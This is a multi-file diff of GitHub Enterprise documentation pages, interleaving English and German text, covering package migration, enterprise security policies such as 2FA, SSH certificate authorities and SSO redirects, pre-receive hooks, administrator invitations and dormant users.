Weitere Informationen zur Überwachung von Leistung und Speicherung von {% data variables.location.product_location %} findest du unter [Zugreifen auf das Überwachungsdashboard](/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard).
{% endif %}
{% endnote %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
1. In the left sidebar, click **Packages**.
1. To the right of the number of packages to migrate, click **Start migration**. During the migration, {% data variables.product.product_name %} will display progress on this page.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %}
1. Klicke auf der linken Randleiste auf **Pakete**.
1. Klicke rechts neben der Anzahl der zu migrierenden Pakete auf **Migration starten**. Während der Migration zeigt {% data variables.product.product_name %} den Status auf dieser Seite an.
After the migration completes, the page will display the results. If a migration fails, the page will show the organizations that own the package that caused the failure.
Nach Abschluss der Migration werden die Ergebnisse auf dieser Seite angezeigt. Wenn eine Migration fehlschlägt, werden auf der Seite die Organisationen im Besitz des Pakets angezeigt, das den Fehler verursacht hat.
## Re-running a failed organization migration
## Wiederholen einer fehlgeschlagenen Organisationsmigration
Prior to migration, if a user has created a package in the {% data variables.product.prodname_container_registry %} that has an identical name to an existing package in the Docker registry, the migration will fail.
Wenn ein Benutzer vor der Migration ein Paket in der {% data variables.product.prodname_container_registry %} erstellt hat, dessen Name mit dem eines vorhandenen Pakets in der Docker-Registrierung identisch ist, schlägt die Migration fehl.
1. Delete the affected container in the {% data variables.product.prodname_container_registry %}. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package#deleting-a-version-of-an-organization-scoped-package-on-github)."
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.packages-tab %}
1. To the right of the number of packages to migrate, click **Re-run migration**. During the migration, {% data variables.product.product_name %} will display progress on this page.
1. If the migration fails again, start from step 1 and re-run the migration.
1. Lösche den betroffenen Container aus der {% data variables.product.prodname_container_registry %}. Weitere Informationen findest du unter [Löschen und Wiederherstellen eines Pakets](/packages/learn-github-packages/deleting-and-restoring-a-package#deleting-a-version-of-an-organization-scoped-package-on-github).
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.packages-tab %}
1. Klicke rechts neben der Anzahl der zu migrierenden Pakete auf **Migration wiederholen**. Während der Migration zeigt {% data variables.product.product_name %} den Status auf dieser Seite an.
1. Wenn die Migration erneut fehlschlägt, beginne bei Schritt 1, und wiederhole die Migration.

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Enforcing policies for security settings in your enterprise
intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.'
title: Erzwingen von Richtlinien für Sicherheitseinstellungen in deinem Unternehmen
intro: 'Du kannst Richtlinien erzwingen, um SIcherheitseinstellungen in den Organisationen deines Unternehmens zu erzwingen oder Richtlinien in jeder Organisation festlegen zu lassen.'
permissions: Enterprise owners can enforce policies for security settings in an enterprise.
miniTocMaxHeadingLevel: 3
redirect_from:
@ -21,100 +21,89 @@ topics:
- Policies
- Security
shortTitle: Policies for security settings
ms.openlocfilehash: 7a383ed586d084a7e2562a5927dd198caca65037
ms.sourcegitcommit: 7a74d5796695bb21c30e4031679253cbc16ceaea
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/28/2022
ms.locfileid: '148183964'
---
## Informationen über Richtlinien für Sicherheitseinstellungen in deinem Unternehmen
## About policies for security settings in your enterprise
You can enforce policies to control the security settings for organizations owned by your enterprise on {% data variables.product.product_name %}. By default, organization owners can manage security settings.
Du kannst Richtlinien zur Kontrolle der Sicherheitseinstellungen für Organisationen, die deinem Unternehmen gehören, auf {% data variables.product.product_name %} erzwingen. Standardmäßig können Organisationseigentümer Sicherheitseinstellungen verwalten.
{% ifversion ghec or ghes %}
## Requiring two-factor authentication for organizations in your enterprise
## Zwei-Faktor-Authentifizierung für Organisationen in deinem Enterprise vorschreiben
Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use two-factor authentication to secure their user accounts.
Unternehmenseigentümer können verlangen, dass Organisationsmitglieder, Abrechnungsmanager und externe Mitarbeiter in allen Organisationen, die einem Unternehmen gehören, eine Zwei-Faktor-Authentifizierung verwenden, um ihre Benutzerkonten zu sichern.
Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. For more information, see "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)."
Bevor du 2FA für alle Organisationen deines Unternehmens fordern kannst, musst du die Zwei-Faktor-Authentifizierung für dein eigenes Konto aktivieren. Weitere Informationen findest du unter [Schützen deines Kontos mit der zweistufigen Authentifizierung (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/).
{% warning %}
**Warnings:**
**Warnungen:**
- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable two-factor authentication for their account within three months of their removal from your organization. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
- Any organization owner, member, billing manager, or outside collaborator in any of the organizations owned by your enterprise who disables 2FA for their account after you've enabled required two-factor authentication will automatically be removed from the organization.
- If you're the sole owner of an enterprise that requires two-factor authentication, you won't be able to disable 2FA for your user account without disabling required two-factor authentication for the enterprise.
- Wenn du für dein Unternehmen eine zweistufige Authentifizierung verlangst, werden Mitglieder, externe Mitarbeiter und Abrechnungsmanager (einschließlich Bot-Konten) in allen Organisationen deines Unternehmens, die keine 2FA verwenden, aus der Organisation entfernt und verlieren den Zugriff auf ihre Repositorys. Gleichzeitig verlieren sie auch den Zugriff auf ihre Forks der privaten Repositorys der Organisation. Du kannst die Zugangsberechtigungen und Einstellungen wiederherstellen, wenn sie innerhalb von drei Monaten nach ihrem Ausscheiden aus deiner Organisation die zweistufige Authentifizierung für ihr Konto aktivieren. Weitere Informationen findest du unter [Reaktivieren eines ehemaligen Mitglieds deiner Organisation](/articles/reinstating-a-former-member-of-your-organization).
- Alle Organisationsinhaber, Mitglieder, Abrechnungsmanager und externen Mitarbeiter der Organisationen deines Unternehmens, die die 2FA für ihr Konto deaktivieren, nachdem du die 2FA vorgeschrieben hast, werden automatisch aus der Organisation entfernt.
- Wenn du der oder die einzige Inhaber*in eines Unternehmens bist, das die zweistufige Authentifizierung vorschreibt, kannst du diese für dein Benutzerkonto nicht deaktivieren, ohne die erforderliche zweistufige Authentifizierung für das gesamte Unternehmen zu deaktivieren.
{% endwarning %}
Before you require use of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up 2FA for their accounts. Organization owners can see if members and outside collaborators already use 2FA on each organization's People page. For more information, see "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)."
Bevor du die Zwei-Faktor-Authentifizierung vorschreiben, empfehlen wir, Organisationsmitglieder, externe Mitarbeiter und Abrechnungsmanager über diesen Schritt zu informieren und sie darum zu bitten, die Zwei-Faktor-Authentifizierung für ihre Konten einzurichten. Organisationsinhaber können auf der Personenseite ihrer Organisationen sehen, ob Mitglieder und externe Mitarbeiter bereits die 2FA verwenden. Weitere Informationen findest du unter [Anzeigen, ob Benutzer*innnen in deiner Organisation 2FA aktiviert haben](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled).
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.security-tab %}
4. Under "Two-factor authentication", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
5. Under "Two-factor authentication", select **Require two-factor authentication for all organizations in your business**, then click **Save**.
![Checkbox to require two-factor authentication](/assets/images/help/business-accounts/require-2fa-checkbox.png)
6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**.
![Confirm two-factor enforcement box](/assets/images/help/business-accounts/confirm-require-2fa.png)
7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable two-factor authentication before they can accept your invitation.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %}
4. Überprüfe unter „Two-factor authentication“ (Zwei-Faktor-Authentifizierung) die Informationen zum Ändern der Einstellung. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
5. Wähle unter "zweistufige Authentifizierung" die **Option Zwei-Faktor-Authentifizierung für alle Organisationen in deinem Unternehmen vorschreiben** und klicke dann auf **Speichern**.
![Kontrollkästchen zum Vorschreiben der Zwei-Faktor-Authentifizierung](/assets/images/help/business-accounts/require-2fa-checkbox.png)
6. Wenn du dazu aufgefordert wirst, lies die Informationen zu Mitgliedern und externen Mitarbeitern, die aus den Organisationen deines Unternehmens entfernt werden. Zur Bestätigung der Änderung gib den Namen deines Unternehmens ein und klicke dann auf **Mitglieder entfernen & Zwei-Faktor-Authentifizierung anfordern**.
![Kontrollkästchen zum Bestätigen der Erzwingung der zweistufigen Authentifizierung](/assets/images/help/business-accounts/confirm-require-2fa.png)
7. Wenn Mitglieder oder externe Mitarbeiter aus den Organisationen deines Unternehmens entfernt werden, empfehlen wir optional, ihnen eine Einladung zum Wiederherstellen ihrer früheren Berechtigungen und ihres Zugriffs auf deine Organisation zu senden. Vor der Annahme dieser Einladung müssen diese Benutzer die Zwei-Faktor-Authentifizierung aktivieren.
{% endif %}
## Managing SSH certificate authorities for your enterprise
## Verwalten von SSH-Zertifizierungsstellen für dein Unternehmen
You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)."
Du kannst eine SSH-Zertifizierungsstelle (CA) verwenden, um Mitgliedern jeder Organisation, die zu deinem Unternehmen gehört, den Zugriff auf Repositorys dieser Organisation mit von Dir bereitgestellten SSH-Zertifikaten zu ermöglichen. {% data reusables.organizations.can-require-ssh-cert %} Weitere Informationen findest du unter „[Informationen zu SSH-Zertifizierungsstellen](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities).
{% data reusables.organizations.add-extension-to-cert %}
### Adding an SSH certificate authority
### Eine SSH-Zertifizierungsstelle hinzufügen
If you require SSH certificates for your enterprise, enterprise members should use a special URL for Git operations over SSH. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#about-ssh-urls-with-ssh-certificates)."
Wenn du für dein Unternehmen SSH-Zertifikate benötigst, sollten Unternehmensmitglieder eine spezielle URL für Git-Vorgänge über SSH verwenden. Weitere Informationen findest du unter [Informationen zu SSH-Zertifizierungsstellen](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#about-ssh-urls-with-ssh-certificates).
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.security-tab %}
{% data reusables.organizations.new-ssh-ca %}
{% data reusables.organizations.require-ssh-cert %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} {% data reusables.organizations.new-ssh-ca %} {% data reusables.organizations.require-ssh-cert %}
### Deleting an SSH certificate authority
### Eine SSH-Zertifizierungsstelle löschen
Deleting a CA cannot be undone. If you want to use the same CA in the future, you'll need to upload the CA again.
Das Löschen einer Zertifizierungsstelle kann nicht rückgängig gemacht werden. Wenn du dieselbe Zertifizierungsstelle in Zukunft wieder verwenden möchtest, musst du sie erneut hochladen.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.security-tab %}
{% data reusables.organizations.delete-ssh-ca %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} {% data reusables.organizations.delete-ssh-ca %}
{% ifversion sso-redirect %}
## Managing SSO for unauthenticated users
## Verwalten des einmaligen Anmeldens für nicht authentifizierte Benutzer*innen
{% data reusables.enterprise-managed.sso-redirect-release-phase %}
If your enterprise uses {% data variables.product.prodname_emus %}, you can choose what unauthenticated users see when they attempt to access your enterprise's resources. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users)."
Wenn dein Unternehmen {% data variables.product.prodname_emus %} verwendet, kannst du auswählen, was nicht authentifizierten Benutzer*innen angezeigt wird, wenn sie versuchen, auf die Ressourcen deines Unternehmens zuzugreifen. Weitere Informationen zu {% data variables.product.prodname_emus %} findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users).
By default, to hide the existence of private resources, when an unauthenticated user attempts to access your enterprise, {% data variables.product.company_short %} displays a 404 error.
Wenn nicht authentifizierte Benutzer*innen versuchen, auf dein Unternehmen zuzugreifen, zeigt {% data variables.product.company_short %} standardmäßig den Fehler 404 an, um keine privaten Ressourcen offenzulegen.
To prevent confusion from your developers, you can change this behavior so that users are automatically redirected to single sign-on (SSO) through your identity provider (IdP). When you enable automatic redirects, anyone who visits the URL for any of your enterprise's resources will be able to see that the resource exists. However, they'll only be able to see the resource if they have appropriate access after authenticating with your IdP.
Um die Entwickler*innen nicht zu verwirren, kannst du dieses Verhalten ändern, sodass Benutzer*innen automatisch über deinen Identitätsanbieter (IdP) zum einmaligen Anmelden (Single Sign-On, SSO) weitergeleitet werden. Wenn du automatische Umleitungen aktivierst, können alle, die auf URLs für Ressourcen deines Unternehmens zugreifen, sehen, dass die Ressource vorhanden ist. Sie können die Ressource selbst jedoch nur anzeigen, wenn sie über entsprechenden Zugriff verfügen, nachdem sie sich bei deinem Identitätsanbieter authentifiziert haben.
{% note %}
**Note:** If a user is signed in to their personal account when they attempt to access any of your enterprise's resources, they'll be automatically signed out and redirected to SSO to sign in to their {% data variables.enterprise.prodname_managed_user %}. For more information, see "[Managing multiple accounts](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)."
**Hinweis:** Wenn Benutzer*innen beim Versuch, auf die Ressourcen deines Unternehmens zuzugreifen, bei ihrem persönlichen Konto angemeldet sind, werden sie automatisch abgemeldet und zum einmaligen Anmelden weitergeleitet, um sich bei ihren {% data variables.enterprise.prodname_managed_user %} anzumelden. Weitere Informationen findest du unter [Verwalten mehrerer Konten](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts).
{% endnote %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.security-tab %}
1. Under "Single sign-on settings", select or deselect **Automatically redirect users to sign in**.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %}
1. Aktiviere oder deaktiviere unter „Einstellungen für einmaliges Anmelden“ die Option **Benutzer automatisch zur Anmeldung umleiten**.
![Checkbox to automatically redirect users to sign in](/assets/images/enterprise/security/Enterprise-Redirect-Users-To-Sign-In-Checkbox.png)
{% endif %}
![Kontrollkästchen für die Umleitung von Benutzern zur Anmeldung](/assets/images/enterprise/security/Enterprise-Redirect-Users-To-Sign-In-Checkbox.png) {% endif %}
## Further reading
## Weiterführende Themen
- "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)"
{%- ifversion ghec %}
- "[Accessing compliance reports for your enterprise](/admin/overview/accessing-compliance-reports-for-your-enterprise)"
{%- endif %}
{%- ifversion ghec or ghae %}
- "[Restricting network traffic with an IP allow list with an IP allow list](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list)"
{%- endif %}
- [Informationen zur Identitäts- und Zugriffsverwaltung für Dein Unternehmen](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise) {%- ifversion ghec %}
- [Zugriff auf Complianceberichte für Dein Unternehmen](/admin/overview/accessing-compliance-reports-for-your-enterprise) {%- endif %} {%- ifversion ghec or ghae %}
- [Einschränken des Netzwerkdatenverkehrs mit einer Liste zugelassener IP-Adressen](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list) {%- endif %}

Просмотреть файл

@ -13,9 +13,11 @@ topics:
- Policies
- Pre-receive hooks
---
## About pre-receive hooks
When a push occurs, each script runs in an isolated environment and can perform checks on the content of the push. The scripts will cause the push to be accepted if the exit status is 0, or rejected if the exit status is non-zero.
## Usage scenarios
Use pre-receive hooks to satisfy business rules, enforce regulatory compliance, and prevent certain common mistakes.
Examples of how you can use pre-receive hooks:
@ -25,7 +27,10 @@ Examples of how you can use pre-receive hooks:
- Prevent sensitive data from being added to the repository by blocking keywords, patterns or file types.
- Prevent a PR author from merging their own changes.
{% data reusables.enterprise_site_admin_settings.pre-receive-hook-examples %}
## Impact on performance and workflows
Impact to developers and their workflows can be significant and must be considered carefully. Pre-receive hooks that are based on business needs and implemented thoughtfully will provide the most benefit to the organization as a whole.
Pre-receive hooks can have unintended effects on the performance of {% data variables.location.product_location %} and should be carefully implemented and reviewed.

Просмотреть файл

@ -15,7 +15,8 @@ topics:
- Pre-receive hooks
shortTitle: Pre-receive hook scripts
---
You can see examples of pre-receive hooks for {% data variables.product.prodname_ghe_server %} in the [`github/platform-samples` repository](https://github.com/github/platform-samples/tree/master/pre-receive-hooks).
{% data reusables.enterprise_site_admin_settings.pre-receive-hook-examples %}
## Writing a pre-receive hook script
A pre-receive hook script executes in a pre-receive hook environment on {% data variables.location.product_location %}. When you create a pre-receive hook script, consider the available input, output, exit status, and environment variables.

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Einladen von Personen zum Verwalten deines Unternehmens
intro: 'Du kannst {% ifversion ghec %}Personen einladen, um Unternehmensinhaber*in oder Abrechnungsmanager*in zu werden.{% elsif ghes %}Füge Unternehmensinhaber*innen deinem{% endif %} Unternehmenskonto hinzu. Du kannst auch Unternehmensinhaber*innen {% ifversion ghec %}und Abrechnungsmanager*innen entfernen, {% endif %}die nicht mehr auf dein Unternehmenskonto zugreifen müssen.'
title: Inviting people to manage your enterprise
intro: 'You can {% ifversion ghec %}invite{% else %}add{% endif %} and remove enterprise owners{% ifversion ghec %} and billing managers{% endif %} for your enterprise account.'
permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.'
redirect_from:
- /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
@ -17,62 +17,71 @@ topics:
- Enterprise
- User account
shortTitle: Invite people to manage
ms.openlocfilehash: 7cdbee6f1b37a8300f3523712c6e0dda4293af74
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '146180447'
---
## Informationen zu Benutzer*innen, die dein Unternehmenskonto verwalten können
{% data reusables.enterprise-accounts.enterprise-administrators %} Weitere Informationen findest du unter [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise).
## About users who can manage your enterprise account
{% data reusables.enterprise-accounts.enterprise-administrators %} For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
{% ifversion ghes %}
Informationen zum Verwalten von Besitzer*innen und Rechnungs-Manager*innen für ein Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} findest du unter [Einladen von Personen zum Verwalten deines Unternehmens](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise) in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.
If you want to manage owners and billing managers for an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
{% endif %}
{% ifversion ghec %}
Wenn dein Unternehmen {% data variables.product.prodname_emus %} nutzt, können Unternehmensbesitzer*innen nur durch deinen Identitätsanbieter hinzugefügt oder entfernt werden. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users).
If your enterprise uses {% data variables.product.prodname_emus %}, enterprise owners can only be added or removed through your identity provider. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
{% endif %}
{% tip %}
**Tipp:** Weitere Informationen zum Verwalten von Benutzer*innen innerhalb einer Organisation, die sich im Besitz deines Unternehmenskontos befindet, findest du unter [Verwalten der Mitgliedschaft in deiner Organisation](/articles/managing-membership-in-your-organization) und [Verwalten des Zugriffs von Personen auf deine Organisation mithilfe von Rollen](/articles/managing-peoples-access-to-your-organization-with-roles).
**Tip:** For more information on managing users within an organization owned by your enterprise account, see "[Managing membership in your organization](/articles/managing-membership-in-your-organization)" and "[Managing people's access to your organization with roles](/articles/managing-peoples-access-to-your-organization-with-roles)."
{% endtip %}
## {% ifversion ghec %}Einladen{% elsif ghes %}Hinzufügen{% endif %} von Unternehmensadministrator*innen zu deinem Unternehmenskonto
## {% ifversion ghec %}Inviting{% elsif ghes %}Adding{% endif %} an enterprise administrator to your enterprise account
{% ifversion ghec %}Nachdem du eine Person zum Unternehmenskonto eingeladen hast, muss diese die E-Mail-Einladung annehmen, um auf das Unternehmenskonto zugreifen zu können. Ausstehende Einladungen laufen nach 7 Tagen ab.{% endif %}
{% ifversion ghec %}After you invite someone to join the enterprise account, they must accept the emailed invitation before they can access the enterprise account. Pending invitations will expire after 7 days.{% endif %}
{% ifversion enterprise-membership-view-improvements %} Du kannst eine Liste aller ausstehenden Einladungen anzeigen, über die Personen Administrator*in deines Unternehmenskontos werden können. Weitere Informationen findest du unter [Anzeigen von Personen in deinem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-pending-invitations).
{% ifversion enterprise-membership-view-improvements %}
You can see all pending invitations to become an administrator of your enterprise account. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-pending-invitations)."
{% endif %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %}
1. Klicke oberhalb der Administratorenliste auf {% ifversion ghec %}**Administrator*in einladen**{% elsif ghes %}**Besitzer*in hinzufügen**{% endif %}.
{% ifversion ghec %} ![Schaltfläche „Administrator*in einladen“ oberhalb der Liste der Unternehmensbesitzer*innen](/assets/images/help/business-accounts/invite-admin-button.png) {% elsif ghes %} ![Schaltfläche „Besitzer*in hinzufügen“ oberhalb der Liste der Unternehmensbesitzer*innen](/assets/images/help/business-accounts/add-owner-button.png) {% endif %}
1. Gib den Benutzernamen, den vollständigen Namen oder die E-Mail-Adresse der Person ein, die du dazu einladen möchtest, Enterprise-Administrator zu werden. Wähle dann die gewünschte Person aus den Ergebnissen aus.
![Modales Feld mit Feld für die Eingabe des Benutzernamens, vollständigen Namens oder der E-Mail-Adresse sowie Schaltfläche zum Einladen](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
1. Wähle **Besitzer*in** oder **Rechnungs-Manager*in** aus.
![Modales Feld mit Rollenauswahl](/assets/images/help/business-accounts/invite-admins-roles.png)
1. Klicke auf **Einladung senden**.
![Schaltfläche zum Senden der Einladung](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
1. Klicken Sie auf **Hinzufügen**.
![Schaltfläche „Hinzufügen“](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.people-tab %}
{% data reusables.enterprise-accounts.administrators-tab %}
1. Above the list of administrators, click {% ifversion ghec %}**Invite admin**{% elsif ghes %}**Add owner**{% endif %}.
{% ifversion ghec %}
!["Invite admin" button above the list of enterprise owners](/assets/images/help/business-accounts/invite-admin-button.png)
{% elsif ghes %}
!["Add owner" button above the list of enterprise owners](/assets/images/help/business-accounts/add-owner-button.png)
{% endif %}
1. Type the username, full name, or email address of the person you want to invite to become an enterprise administrator, then select the appropriate person from the results.
![Modal box with field to type a person's username, full name, or email address, and Invite button](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
1. Select **Owner** or **Billing Manager**.
![Modal box with role choices](/assets/images/help/business-accounts/invite-admins-roles.png)
1. Click **Send Invitation**.
![Send invitation button](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
1. Click **Add**.
!["Add" button](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
## Einen Enterprise-Administrator aus deinem Enterprise-Konto entfernen
## Removing an enterprise administrator from your enterprise account
Nur Enterprise-Inhaber können andere Enterprise-Administratoren aus dem Enterprise-Konto entfernen.
Only enterprise owners can remove other enterprise administrators from the enterprise account.
{% ifversion ghec %} Wenn die*der zu entfernende Administrator*in Mitglied von Organisationen ist, die sich im Besitz des Unternehmens befinden, kannst du **In Mitglied konvertieren** auswählen, um die Administratorrolle zu entfernen und die Organisationsmitgliedschaft beizubehalten. Wenn sowohl die Administratorrolle als auch die Organisationsmitgliedschaft entfernt werden soll, wählst du **Aus Unternehmen entfernen** aus.
{% ifversion ghec %}
If the administrator you want to remove is a member of any organizations owned by the enterprise, you can choose **Convert to member**, which will remove their administrative role but retain their organization memberships, or **Remove from enterprise**, which will remove both their administrative role and organization memberships.
{% endif %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %}
1. Klicke neben dem Benutzernamen der zu entfernenden Person auf {% octicon "gear" aria-label="The Settings gear" %} und dann auf {% ifversion ghes %}**Besitzer*in entfernen**{% elsif ghec %}**In Mitglied konvertieren** oder **Aus Unternehmen entfernen**.{% endif %}.
{% ifversion ghec %} ![Zahnradsymbol mit Menüoption zum Entfernen von Unternehmensadministrator*innen](/assets/images/help/business-accounts/remove-admin.png) {% elsif ghes %} ![Zahnradsymbol mit Menüoption zum Entfernen von Unternehmensadministrator*innen](/assets/images/help/business-accounts/ghes-remove-owner.png) {% endif %}
1. Lies die Bestätigung, und klicke dann auf {% ifversion ghes %}**Besitzer*in entfernen**{% elsif ghec %}**Ja, BENUTZERNAME in Mitglied konvertieren**{% endif %}.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.people-tab %}
{% data reusables.enterprise-accounts.administrators-tab %}
1. Next to the username of the person you'd like to remove, click {% octicon "gear" aria-label="The Settings gear" %}, then click {% ifversion ghes %}**Remove owner**{% elsif ghec %}**Convert to member** or **Remove from enterprise**.{% endif %}.
{% ifversion ghec %}
![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/remove-admin.png)
{% elsif ghes %}
![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/ghes-remove-owner.png)
{% endif %}
1. Read the confirmation, then click {% ifversion ghes %}**Remove owner**{% elsif ghec %}**Yes, convert USERNAME to member**{% endif %}.

Просмотреть файл

@ -1,5 +1,5 @@
---
title: Managing dormant users
title: Inaktive Benutzer verwalten
redirect_from:
- /enterprise/admin/articles/dormant-users
- /enterprise/admin/articles/viewing-dormant-users
@ -16,62 +16,59 @@ topics:
- Accounts
- Enterprise
- Licensing
ms.openlocfilehash: 7594a0fc22bef10e84334727ad9e79aa02cd1da6
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '146680925'
---
{% ifversion ghec %} {% data reusables.enterprise-accounts.dormant-user-release-phase %} {% endif %}
{% ifversion ghec %}
{% data reusables.enterprise-accounts.dormant-user-release-phase %}
{% endif %}
## About dormant users
## Informationen zu inaktiven Benutzer*innen
{% data reusables.enterprise-accounts.dormant-user-activity %}
{% ifversion ghes or ghae%}
## Viewing dormant users
## Inaktive Benutzer anzeigen
{% data reusables.enterprise-accounts.viewing-dormant-users %}
{% data reusables.enterprise_site_admin_settings.access-settings %}
3. In the left sidebar, click **Dormant users**.
![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
4. To suspend all the dormant users in this list, at the top of the page, click **Suspend all**.
![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
3. Klicke in der linken Seitenleiste auf **Inaktive Benutzer**.
![Registerkarte „Dormant users“ (Inaktive Benutzer)](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
